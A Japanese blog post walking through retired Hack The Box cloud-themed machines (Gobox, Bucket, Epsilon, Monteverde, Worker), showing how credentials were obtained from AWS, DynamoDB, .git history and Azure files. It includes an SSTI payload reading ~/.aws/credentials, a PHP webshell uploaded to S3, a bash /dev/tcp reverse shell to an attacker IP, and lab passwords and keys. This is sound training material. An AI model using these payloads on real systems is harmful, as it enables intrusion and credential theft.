1. はじめに
こんにちは、morioka12 です。
本稿では、Hack The Box の Labs にある Retired な Machines の中で、Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介します。
また、同様に 2021年の CTF のイベントで Cloud に関する問題は、以下のブログで紹介しているので、良ければこちらもご覧ください。
1.1 調査対象
今回の対象となるマシンは、以下のような条件で全て調査して選んでいます。
- 現時点(2022.10.13)で Retired になっているマシン
- Cloud に関する要素を取り入れているマシン
Machine List
- Bucket
- keyword: Amazon S3, Amazon DynamoDB
- Gobox
- keyword: Amazon EC2, Amazon S3
- Epsilon
- keyword: AWS Lambda
- Monteverde
- keyword: Azure Active Directory
- Worker
- keyword:Azure DevOps
1.2 Public Cloud Service
本ブログに記載があるサービス名
- AWS (Amazon Web Services)
- Amazon EC2 (Elastic Compute Cloud):仮想マシン (VM インスタンス)
- Amazon S3 (Simple Storage Service):オブジェクトストレージ
- Amazon DynamoDB:NoSQL データベース
- AWS Lambda:サーバレスコンピューティング
- AWS IAM (Identity and Access Management):アクセス管理
- Azure (Microsoft Azure)
2. AWS (Amazon Web Services)
2.1 Gobox
このマシンは、EC2 上に 脆弱な Go で書かれた Web サイトに脆弱性があり、脆弱性攻撃(SSTI)によって EC2 からクレデンシャルを取得し、クレデンシャルに書き込み権限付きで紐付いた S3 バケットを悪用して侵入していく問題でした。
問題では、「Forgot Password」のページに SSTI (Server-Side Template Injection)があり、以下のようなペイロードで挙動を確認することができます。
{{ . }}
{{printf "%s" "ssti" }}
{{html "ssti"}}
{{js "ssti"}}
実際に確認してみると、以下のように使用可能なプロパティが出力されます(恐らくメールアドレスとパスワード)。
POST /forgot/ HTTP/1.1
Host: 10.10.11.113:8080
...
email={{ . }}
Email Sent To: {1 ippsec@hacking.esports ippsSecretPassword}
得た情報を元にログインをすると、Go で書かれたソースコードを含むページが表示され、そこに悪用できそうな関数があることがわかります。
... func (u User) DebugCmd(test string) string { ipp := strings.Split(test, " ") bin := strings.Join(ipp[:1], " ") args := strings.Join(ipp[1:], " ") if len(args) > 0 { out, _ := exec.Command(bin, args).CombinedOutput() return string(out) } else { out, _ := exec.Command(bin).CombinedOutput() return string(out) } } ...
この関数 DebugCmd に OS コマンドを引数で付けた状態で直接 SSTI で呼び出すことができ、RCE することが可能です。
クラウド視点では、任意のコマンドが SSTI によって可能なため EC2 上から IAM のクレデンシャルを取得することができます。
AWS の場合、ホストでは ~/.aws/credentials や ~/.aws/config にクレデンシャルが格納してある場合があります。
今回は、以下のようにリクエストを投げることで、aws_access_key_id と aws_secret_access_key を取得することができます。
POST /forgot/ HTTP/1.1
Host: 10.10.11.113:8080
...
email={{ .DebugCmd "cat ~/.aws/credentials" }}
Email Sent To: [default] aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
また、Go の場合、直接的に {{.System "id"}} や {{}.File "/etc/passwd"} などで任意のコマンドを行うことができる可能性があるため、今回のような用意された関数がなくても SSTI で任意コマンドでクレデンシャルを取得できる可能性はあります。
入手したクレデンシャルを元に権限を調べると Web サイトで使われている S3 バケットが紐付いていることが確認できます。
$ aws s3 ls --endpoint-url http://10.10.11.113:4566 2021-08-26 12:14:44 website
更にこの S3 バケットに対して書き込み権限が付与されているため、PHP の WebShell を作成してアップロードすることができます。
$ aws s3 cp /tmp/.hoge s3://website/hoge.php --endpoint-url http://10.10.11.113:4566
アップロードしたファイル先に Web サイトからアクセスすると実行できていることが確認できるため、そこからシェルも取得することができます。
その結果、サーバーに侵入して更に侵害していくことが可能です。
また、別の方法でリバースシェルなどでホストに侵入した後に、以下のようにクレデンシャルを取得して操作できるため、なんだかの形で侵入できたら確認してみるとクレデンシャルを得れる可能性もあります。
> cat ~/.aws/credentials [default] aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz > aws s3 ls 2021-08-26 16:14:44 website > aws s3 ls website PRE css/ 2021-09-07 07:32:42 1294778 bottom.png 2021-09-07 07:32:42 165551 header.png 2021-09-07 07:32:42 5 index.html 2021-09-07 07:32:42 1803 index.php
writeup
reference
2.2 Bucket
このマシンは、匿名アクセスが許可された S3 バケットを悪用してサーバーに侵入し、サーバー内のデータベースで使われていた DynamoDB に対して認証なしでデータの書き換えをすることで侵害していく問題でした。
問題では、対象の Web サイトのソースコードに以下のように S3 というワードが入ったサブドメインに画像が格納されていることが確認できます。
<img src="http://s3.bucket.htb/adserver/images/bug.jpg" alt="Bug" height="160" width="160">
s3.bucket.htb に対してディレクトリの列挙をすると /health というパスがあることがわかり、アクセスすると S3 と DynamoDB が動いていることが確認できます。
以下のように AWS CLI で S3 にアクセスしてみると、クレデンシャルなしでバケットにアクセスすることができました。
$ aws s3 ls --endpoint-url http://s3.bucket.htb 2021-02-02 06:36:03 adserver $ aws s3 ls s3://adserver --endpoint-url http://s3.bucket.htb PRE images/ 2021-02-02 06:38:04 5344 index.html $ aws s3 ls s3://adserver/images/ --endpoint-url http://s3.bucket.htb 2021-02-02 06:40:04 37840 bug.jpg 2021-02-02 06:40:04 51485 cloud.png 2021-02-02 06:40:04 16486 malware.png
これにより、このバケット(s3.bucket.htb)は、匿名アクセスが許可されていることがわかります。
更に適当なファイルを用意し、aws s3 cp でファイルをアップロードしてみると、無事にバケットに対してアップロードできることが確認できます。
$ echo "Test file" > test.html $ aws s3 cp test.html s3://adserver/test.html --endpoint-url http://s3.bucket.htb upload: ./test.html to s3://adserver/test.html $ aws s3 ls s3://adserver/ --endpoint-url http://s3.bucket.htb PRE images/ 2021-02-02 06:42:13 10 test.html 2021-02-02 06:42:04 5344 index.html
そのため、このバケットには、書き込み権限も匿名アクセスで許可されていることがわかります。
また、PHP ファイルを同様にアップロードして Web サイトにアクセスすると PHP が実行されていることが確認できます。
そのため、Webshell を作成し、S3 バケットにアップロードすることで、任意のコマンドを実行することができ、シェルを取得することができます。
$ cat /opt/shells/php/cmd.php <?php system($_REQUEST["cmd"]); ?> $ aws s3 cp /opt/shells/php/cmd.php s3://adserver/ --endpoint-url http://s3.bucket.htb upload: /opt/shells/php/cmd.php to s3://adserver/cmd.php $ curl http://bucket.htb/cmd.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ curl http://bucket.htb/cmd.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.14/443 0>&1'"
次に、サーバーに侵入した後にソースコードを探ると、db.php に DynamoDB のクレデンシャルが記載されていました。
ホストから AWS CLI でアクセスしてみると、権限の不備で以下のようにテーブルにアクセスすることが可能です。
$ aws dynamodb list-tables --endpoint-url http://s3.bucket.htb { "TableNames": [ "users" ] } $ aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb { "Items": [ { "password": { "S": "Management@#1@#" }, "username": { "S": "Mgmt" } }, { "password": { "S": "Welcome123!" }, "username": { "S": "Cloudadm" } }, { "password": { "S": "n2vM-<_K_Q:.Aa2" }, "username": { "S": "Sysadm" } } ], "Count": 3, "ScannedCount": 3, "ConsumedCapacity": null }
そのため、DynamoDB には認証なしでアクセスでき、テーブル内のユーザー情報を取得することができます。
あとは、CrackMapExec などを使って、入手したユーザー情報で SSH などの接続をテストして、成功すれば侵入することができます。
また、今回は DynamoDB の書き込み権限等も許可されていたため、侵入後に更に DynamoDB のテーブルを悪用することで権限昇格することができました。
$ aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb $ aws dynamodb put-item --table-name alerts --item '{"title":{"S":"Ransomware"},"data":{"S":"This is a test"}}' --endpoint-url http://s3.bucket.htb
writeup
reference
- aws s3 ls
- aws s3 cp
- aws dynamodb list-tables
- aws dynamodb scan
- aws dynamodb create-table
- aws dynamodb put-item
2.3 Epsilon
このマシンは、.git ファイルからクレデンシャルを取得し、Lambda 関数にアクセスすることで更に関数のファイルを取得し、得た Lambda 関数のソースコードからシークレットな秘密鍵を入手することで、対象の Web サイトから侵入していく問題でした。
問題では、対象の Web サイトのパスに /.git ディレクトリがあり、GitTools を使うことでダウンロードして中身を確認することができます。
$ /opt/GitTools/Dumper/gitdumper.sh http://10.10.11.134/.git/ . ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [*] Destination folder does not exist [+] Creating ./.git/ [+] Downloaded: HEAD [-] Downloaded: objects/info/packs [+] Downloaded: description [+] Downloaded: config [+] Downloaded: COMMIT_EDITMSG ... [+] Downloaded: objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630 [+] Downloaded: objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca [+] Downloaded: objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34 $ ls -la total 12 drwxrwx--- 1 root vboxsf 4096 Mar 9 19:18 . drwxrwx--- 1 root vboxsf 4096 Mar 9 19:16 .. drwxrwx--- 1 root vboxsf 4096 Mar 9 19:18 .git
そして git status で削除されているファイルがあることを確認して、最後のコミット状態に戻して表示します。
$ git status On branch master Changes not staged for commit: (use "git add/rm <file>..." to update what will be committed) (use "git restore <file>..." to discard changes in working directory) deleted: server.py deleted: track_api_CR_148.py no changes added to commit (use "git add" and/or "git commit -a") $ git reset --hard HEAD is now at c622771 Fixed Typo $ git status On branch master nothing to commit, working tree clean $ ls -l total 8 -rw-rw-r-- 1 oxdf oxdf 1670 Mar 9 19:23 server.py -rw-rw-r-- 1 oxdf oxdf 1099 Mar 9 19:23 track_api_CR_148.py
2つの Python ファイルが見つかり確認してみると、track_api_CR_148.py に Lambda とやり取りするコードが記載してありました。
import io import os from zipfile import ZipFile from boto3.session import Session session = Session( aws_access_key_id='<aws_access_key_id>', aws_secret_access_key='<aws_secret_access_key>', region_name='us-east-1', endpoint_url='http://cloud.epsilon.htb') aws_lambda = session.client('lambda') def files_to_zip(path): for root, dirs, files in os.walk(path): for f in files: full_path = os.path.join(root, f) archive_name = full_path[len(path) + len(os.sep):] yield full_path, archive_name def make_zip_file_bytes(path): buf = io.BytesIO() with ZipFile(buf, 'w') as z: for full_path, archive_name in files_to_zip(path=path): z.write(full_path, archive_name) return buf.getvalue() def update_lambda(lambda_name, lambda_code_path): if not os.path.isdir(lambda_code_path): raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path)) aws_lambda.update_function_code( FunctionName=lambda_name, ZipFile=make_zip_file_bytes(path=lambda_code_path))
さらに git log でコミットログを確認すると、4つのコミットがあることがわかり、AWS のクレデンシャルが削除されていることが確認できます。
$ git log --oneline c622771 (HEAD -> master) Fixed Typo b10dd06 Adding Costume Site c514416 Updating Tracking API 7cf92a7 Adding Tracking API Module $ git diff b10dd06 c622771 diff --git a/track_api_CR_148.py b/track_api_CR_148.py index 545f6fe..8d3b52e 100644 --- a/track_api_CR_148.py +++ b/track_api_CR_148.py @@ -8,8 +8,8 @@ session = Session( aws_access_key_id='<aws_access_key_id>', aws_secret_access_key='<aws_secret_access_key>', region_name='us-east-1', - endpoint_url='http://cloud.epsilong.htb') -aws_lambda = session.client('lambda') + endpoint_url='http://cloud.epsilon.htb') +aws_lambda = session.client('lambda') $ git diff 7cf92a7 c514416 diff --git a/track_api_CR_148.py b/track_api_CR_148.py index fed7ab9..545f6fe 100644 --- a/track_api_CR_148.py +++ b/track_api_CR_148.py @@ -5,8 +5,8 @@ from boto3.session import Session session = Session( - aws_access_key_id='AQLA5M37BDN6FJP76TDC', - aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A', + aws_access_key_id='<aws_access_key_id>', + aws_secret_access_key='<aws_secret_access_key>', region_name='us-east-1', endpoint_url='http://cloud.epsilong.htb') aws_lambda = session.client('lambda')
これで .git から AWS のクレデンシャルを入手することができます。
次に入手したクレデンシャルをホストにセットして、AWS CLI で直接 Lambda 関数を調べます。
$ aws lambda list-functions --endpoint-url=http://cloud.epsilon.htb { "Functions": [ { "FunctionName": "costume_shop_v1", "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1", "Runtime": "python3.7", "Role": "arn:aws:iam::123456789012:role/service-role/dev", "Handler": "my-function.handler", "CodeSize": 478, "Description": "", "Timeout": 3, "LastModified": "2022-03-09T18:40:07.722+0000", "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=", "Version": "$LATEST", "VpcConfig": {}, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8dc3e57d-61f2-45c6-af28-a45947aca34f", "State": "Active", "LastUpdateStatus": "Successful" } ] } $ aws lambda get-function --function-name=costume_shop_v1 --endpoint-url=http://cloud.epsilon.htb { "Configuration": { "FunctionName": "costume_shop_v1", "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1", "Runtime": "python3.7", "Role": "arn:aws:iam::123456789012:role/service-role/dev", "Handler": "my-function.handler", "CodeSize": 478, "Description": "", "Timeout": 3, "LastModified": "2022-03-09T18:40:07.722+0000", "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=", "Version": "$LATEST", "VpcConfig": {}, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8dc3e57d-61f2-45c6-af28-a45947aca34f", "State": "Active", "LastUpdateStatus": "Successful" }, "Code": { "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code" }, "Tags": {} }
出力結果より、Code で関数のソースコードのディレクトリを記載してあるので、これをダウンロードして中身を確認してみます。
$ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code $ file code code: Zip archive data, at least v2.0 to extract $ unzip code Archive: code inflating: lambda_function.py
すると Lambda 関数の Python のソースコードを入手することができました。
import json secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124 '''Beta release for tracking''' def lambda_handler(event, context): try: id=event['queryStringParameters']['order_id'] if id: return { 'statusCode': 200, 'body': json.dumps(str(resp)) #dynamodb tracking for CR-342 } else: return { 'statusCode': 500, 'body': json.dumps('Invalid Order ID') } except: return { 'statusCode': 500, 'body': json.dumps('Invalid Order ID') }
そして、ソースコードからシークレットな秘密鍵(secret)を入手することができます。
あとは、対象の Web サイトに対して先ほどの秘密鍵で JWT の改竄をして管理者としてアクセスし、管理者画面にある脆弱性(SSTI)でリバースシェルをしてサーバーに侵入していきます。
writeup
reference
3. その他
3.1 Azure (Microsoft Azure)
Azure に関しては、Azure Active Directory や Azure DevOps を使ったマシンがありました。
Monteverde
まず、Nmap でポートスキャンをすることで AD のポートが開いていることが確認できます。
$ nmap 10.10.10.172 -p- --min-rate 10000 -oA scans/nmap-alltcp ... PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49673/tcp open unknown 49702/tcp open unknown 49771/tcp open unknown $ nmap 10.10.10.172 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA scans/nmap-tcpscripts ... PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-18 22:18:09Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=1/18%Time=5E2381D3%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows ...
他のも enum4linux や rpcclient などのツールで情報収集を行い、開いているポートに対してもアクセスをします。
そこで SMB にアクセスしてみると、いくつか情報を得ることができ、深ぼってみると azure.xml というファイルを得ることができました。
$ smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs [+] IP: 10.10.10.172:445 Name: 10.10.10.172 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin azure_uploads READ ONLY C$ NO ACCESS Default share E$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share users$ READ ONLY $ smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -R 'users$' [+] Finding open SMB ports.... [+] User SMB session established on 10.10.10.172... [+] IP: 10.10.10.172:445 Name: 10.10.10.172 Disk Permissions Comment ---- ----------- ------- . dr--r--r-- 0 Fri Jan 3 08:12:48 2020 . dr--r--r-- 0 Fri Jan 3 08:12:48 2020 .. dr--r--r-- 0 Fri Jan 3 08:15:23 2020 dgalanos dr--r--r-- 0 Fri Jan 3 08:41:18 2020 mhope dr--r--r-- 0 Fri Jan 3 08:14:56 2020 roleary dr--r--r-- 0 Fri Jan 3 08:14:28 2020 smorgan users$ READ ONLY .\ dr--r--r-- 0 Fri Jan 3 08:12:48 2020 . dr--r--r-- 0 Fri Jan 3 08:12:48 2020 .. dr--r--r-- 0 Fri Jan 3 08:15:23 2020 dgalanos dr--r--r-- 0 Fri Jan 3 08:41:18 2020 mhope dr--r--r-- 0 Fri Jan 3 08:14:56 2020 roleary dr--r--r-- 0 Fri Jan 3 08:14:28 2020 smorgan .\mhope\ dr--r--r-- 0 Fri Jan 3 08:41:18 2020 . dr--r--r-- 0 Fri Jan 3 08:41:18 2020 .. -w--w--w-- 1212 Fri Jan 3 09:59:24 2020 azure.xml $ smbclient -U SABatchJobs //10.10.10.172/users$ SABatchJobs -c 'get mhope/azure.xml azure.xml' getting file \mhope\azure.xml of size 1212 as azure.xml (24.7 KiloBytes/sec) (average 24.7 KiloBytes/sec)
azure.xml ファイルの中身を見てみると、パスワードが含まれていました。
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T> <T>System.Object</T> </TN> <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString> <Props> <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT> <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT> <G N="KeyId">00000000-0000-0000-0000-000000000000</G> <S N="Password">4n0therD4y@n0th3r$</S> </Props> </Obj> </Objs>
そこで crackmapexec などで使って侵入してシェルを取得していきます。
$ crackmapexec winrm 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' WINRM 10.10.10.172 5985 MONTEVERDE [*] http://10.10.10.172:5985/wsman WINRM 10.10.10.172 5985 MONTEVERDE [+] MEGABANK\mhope:4n0therD4y@n0th3r$ (Pwn3d!) $ evil-winrm.rb -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' Info: Starting Evil-WinRM shell v1.7 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\mhope\Documents>
次に先ほど SMB にアクセスした際に azure_uploads というのも共有されていたため、その辺りも調べてみます。
*Evil-WinRM* PS C:\> net user mhope User name mhope Full Name Mike Hope Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 1/2/2020 3:40:05 PM Password expires Never Password changeable 1/3/2020 3:40:05 PM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory \\monteverde\users$\mhope Last logon 1/18/2020 11:05:46 AM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Azure Admins *Domain Users The command completed successfully. *Evil-WinRM* PS C:\Program Files> ls *Azure* Directory: C:\Program Files Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/2/2020 2:51 PM Microsoft Azure Active Directory Connect d----- 1/2/2020 3:37 PM Microsoft Azure Active Directory Connect Upgrader d----- 1/2/2020 3:02 PM Microsoft Azure AD Connect Health Sync Agent d----- 1/2/2020 2:53 PM Microsoft Azure AD Sync
すると関連したプログラムが多くあることがわかります。
そこから更に情報収集し、evil-winrm を使ってファイルを直接アップロードしたり、Azure AD Sync のプログラムを変更することで権限昇格をしていく問題となっていました。
Worker
まずは、Nmap でポートスキャンをします。
$ nmap 10.10.10.203 -p 80,3690,5985 -sC -sV -oA scans/nmap-tcpscripts ... PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 3690/tcp open svnserve Subversion 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds
また、ポートが開いている SVN に対して情報収集を行うと moved.txt というファイルが見つかり、http://devops.worker.htb というサブドメインの記載がありました。
$ svn checkout svn://10.10.10.203 ... $ ls -la total 13 drwxrwx--- 1 root vboxsf 0 Aug 21 13:08 . drwxrwx--- 1 root vboxsf 4096 Aug 21 13:07 .. drwxrwx--- 1 root vboxsf 4096 Aug 21 13:08 dimension.worker.htb -rwxrwx--- 1 root vboxsf 162 Aug 21 13:08 moved.txt drwxrwx--- 1 root vboxsf 4096 Aug 21 13:07 .svn $ cat moved.txt This repository has been migrated and will no longer be maintaned here. You can find the latest version at: http://devops.worker.htb
アクセスしてみるとログインが必要のためそれらのユーザー情報をどこかで取得する必要があります。
次に Subversion のコミットログを確認すると、ハードコーディングされたユーザー情報を得ることができました。
$ svn diff -r2 ... $user = "nathen" $plain = "wendel98"
それらを活用して先ほどの devops.worker.htb にログインすることができました。
すると Azure DevOps の環境にアクセスすることができ、様々な機能を悪用することができます。
- Boards
- Repos
- Pipelines
- Test Plans
- Artifact
そこからは、GUI 上で新しいブランチを作って悪意のあるファイルをアップロードすることで、更に侵入していく問題でした。
writeup
詳しくは、writeup をご覧ください。
- Monteverde
- Worker
3.2 Fortress
他にも、Hack The Box にある Labs の Fortress に AWS に関するペネトレーションコンテンツがあります。(取り組むにはランクが Hacker 以上でなければできません)
主に以下のようなスキルを学ぶことができます。
- Web Application Pentesting
- Forensics & Reversing
- Cloud Exploitation
- Active Directory Abuse
There is a big storm coming! 🌩️
— Hack The Box (@hackthebox_eu) July 11, 2022
A brand new #HTB fortress, powered by @awscloud is here for you to conquer!
✅ #Cloud exploitation
✅ #Web app #pentesting
✅ #AD abuse
Ready to attack? Find out more here: https://t.co/CXVNCYvQnx#HackTheBox #CloudHacking #CyberSecurity pic.twitter.com/jq6n19ygVK
4. まとめ
これまでの紹介をセキュリティ視点で簡単にまとめると、以下のような感じになります。
- 仮想マシン (VM インスタンス)
- オブジェクトストレージ
- バケットの書き込み権限が許可されている場合、悪意のあるファイル(
Webshell)のアップロードによって、対象の Web サイトに侵入できる可能性がある
- バケットの書き込み権限が許可されている場合、悪意のあるファイル(
- データベース
- テーブルの閲覧権限や書き込み権限が許可されている場合、ユーザー情報などのアカウント情報を取得できる可能性がある
- サーバーレスコンピューティング
- その他
.gitファイル等にクレデンシャルが含まれている可能性がある- ログやハードコーディングされたソースコード上から
また、CTF での方でも似たようにまとめがあるので、良ければ以下のリンクから参照ください。
5. 終わりに
本稿では、Hack The Box の Labs にある Retired な Machines の中で、Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介しました。
HTB におけるクラウド視点では、いかにクラウド環境のクレデンシャルを取得できるかで、取得できる情報量やアプローチの仕方が変わってくると思います。ぜひ、ペンテストの際は、クラウド視点でも気にして探ってみてください。
ここまでお読みいただきありがとうございました。